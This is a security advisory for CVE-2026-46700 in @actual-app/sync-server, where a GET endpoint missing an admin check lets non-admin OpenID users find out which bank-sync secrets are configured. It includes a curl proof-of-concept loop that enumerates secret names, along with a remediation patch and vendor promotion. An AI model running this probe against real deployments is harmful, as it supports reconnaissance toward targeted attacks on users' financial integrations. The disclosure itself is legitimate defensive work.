Summary
@actual-app/sync-server's missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets
Full technical description
In @actual-app/sync-server, the GET /secret/:name endpoint (app-secrets.js:53) checks only that the caller has a valid session, it does not verify the caller is an admin. The sibling POST /secret/ handler does enforce an admin check in OpenID mode, exposing an authorization asymmetry. Any authenticated non-admin (BASIC) user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured (existence, not values). This includes integration credentials that are not otherwise observable to non-admins, such as simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless_* secrets.
Details
packages/sync-server/src/app-secrets.js mounts validateSessionMiddleware at the router level (line 15), so all handlers inherit only "must be authenticated." The POST handler then explicitly upgrades to an admin check when the active auth method is openid:
// app-secrets.js:17-46
app.post('/', async (req, res) => {
// ... look up active auth method ...
if (method === 'openid') {
const canSaveSecrets = isAdmin(res.locals.user_id);
if (!canSaveSecrets) {
res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
return;
}
}
secretsService.set(name, value);
// ...
});
The sibling GET handler skips both the method check and the admin check entirely:
// app-secrets.js:53-61
app.get('/:name', async (req, res) => {
const name = req.params.name;
const keyExists = secretsService.exists(name);
if (keyExists) {
res.sendStatus(204);
} else {
res.status(404).send('key not found');
}
});
The intent, visible from the POST handler's "You have to be admin to set secrets", is that this store holds admin-managed credentials. The valid secret names enumerated in services/secrets-service.js (SecretName) are: gocardless_secretId, gocardless_secretKey, simplefin_token, simplefin_accessKey, pluggyai_clientId, pluggyai_clientSecret, pluggyai_itemIds.
In OpenID mode, BASIC users obtain valid sessions through packages/sync-server/src/accounts/openid.ts:264-274, either auto-created (userCreationMode=login) or pre-provisioned by the admin (userCreationMode=manual). With that BASIC session token they can hit GET /secret/:name and distinguish 204 (configured) from 404 (missing), enumerating each admin-managed secret name. Some signals (simplefin_token existence, pluggyai_clientId existence) are already coarsely observable via the unauthenticated bank-sync status endpoints (app-simplefin.js:18, app-pluggyai.js:18); the rest (simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, both gocardless_* secrets) are not otherwise probeable.
This is structurally identical to the previously reported missing-admin-check on GET /admin/users/ (app-admin.js:28): a POST sibling enforces admin authorization while the GET sibling omits it.
PoC
Pre-requisites:
- Server is configured for OpenID multi-user mode (
ACTUAL_OPENID_ENFORCE=trueor auth method isopenid). - An admin has configured one or more bank-sync integrations.
- The attacker is any authenticated BASIC user (auto-created via
userCreationMode=login, or admin-provisioned in the defaultmanualmode).
Step 1, capture a BASIC user's session token in $TOKEN (standard OpenID login flow, no admin role required).
Step 2, probe each admin-managed secret name:
for name in gocardless_secretId gocardless_secretKey \
simplefin_token simplefin_accessKey \
pluggyai_clientId pluggyai_clientSecret pluggyai_itemIds; do
status=$(curl -s -o /dev/null -w '%{http_code}' \
-H "X-ACTUAL-TOKEN: $TOKEN" \
https://actual.example.com/secret/$name)
echo "$name -> $status" # 204 = configured, 404 = missing
done
Step 3, confirm the asymmetry by attempting to write a secret (correctly rejected for non-admins):
curl -s -H "X-ACTUAL-TOKEN: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"pluggyai_itemIds","value":"x"}' \
https://actual.example.com/secret/
# {"status":"error","reason":"not-admin","details":"You have to be admin to set secrets"}
The POST returns 403 not-admin; the GET returns 204/404 unauthenticated-against-role.
Impact
- A non-admin authenticated user in OpenID multi-user mode can enumerate which admin-managed bank-sync integrations the deployment uses.
- This reveals whether GoCardless, SimpleFIN, and/or Pluggy AI are configured, and which auxiliary credentials the admin has set (e.g.
simplefin_accessKey,pluggyai_clientSecret,pluggyai_itemIds), none of which are otherwise observable to non-admins. - The disclosure is existence-only; secret values are not returned. Impact is limited to recon useful for targeted follow-on attacks (e.g. credential phishing, picking which integration to attack on a separate vulnerability).
- No integrity or availability impact.
CVE-2026-46700 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (26.6.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Mirror the POST handler's admin gate on the GET handler. Minimal patch in packages/sync-server/src/app-secrets.js:
app.get('/:name', async (req, res) => {
let method;
try {
const result = getAccountDb().first(
'SELECT method FROM auth WHERE active = 1',
);
method = result?.method;
} catch (error) {
console.error('Failed to fetch auth method:', error);
return res.status(500).send({
status: 'error',
reason: 'database-error',
details: 'Failed to validate authentication method',
});
}
if (method === 'openid' && !isAdmin(res.locals.user_id)) {
return res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to read secret status',
});
}
const name = req.params.name;
const keyExists = secretsService.exists(name);
if (keyExists) {
res.sendStatus(204);
} else {
res.status(404).send('key not found');
}
});
Consider factoring the method-lookup + admin-check into a shared helper used by both POST and GET to prevent the same asymmetry from recurring. Also consider restricting :name to the SecretName enum so unrelated probing is rejected up front.
Frequently Asked Questions
- What is CVE-2026-46700? CVE-2026-46700 is a medium-severity security vulnerability in @actual-app/sync-server (npm), affecting versions < 26.6.0. It is fixed in 26.6.0.
- How severe is CVE-2026-46700? CVE-2026-46700 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @actual-app/sync-server are affected by CVE-2026-46700? @actual-app/sync-server (npm) versions < 26.6.0 is affected.
- Is there a fix for CVE-2026-46700? Yes. CVE-2026-46700 is fixed in 26.6.0. Upgrade to this version or later.
- Is CVE-2026-46700 exploitable, and should I be worried? Whether CVE-2026-46700 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46700 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46700? Upgrade
@actual-app/sync-serverto 26.6.0 or later.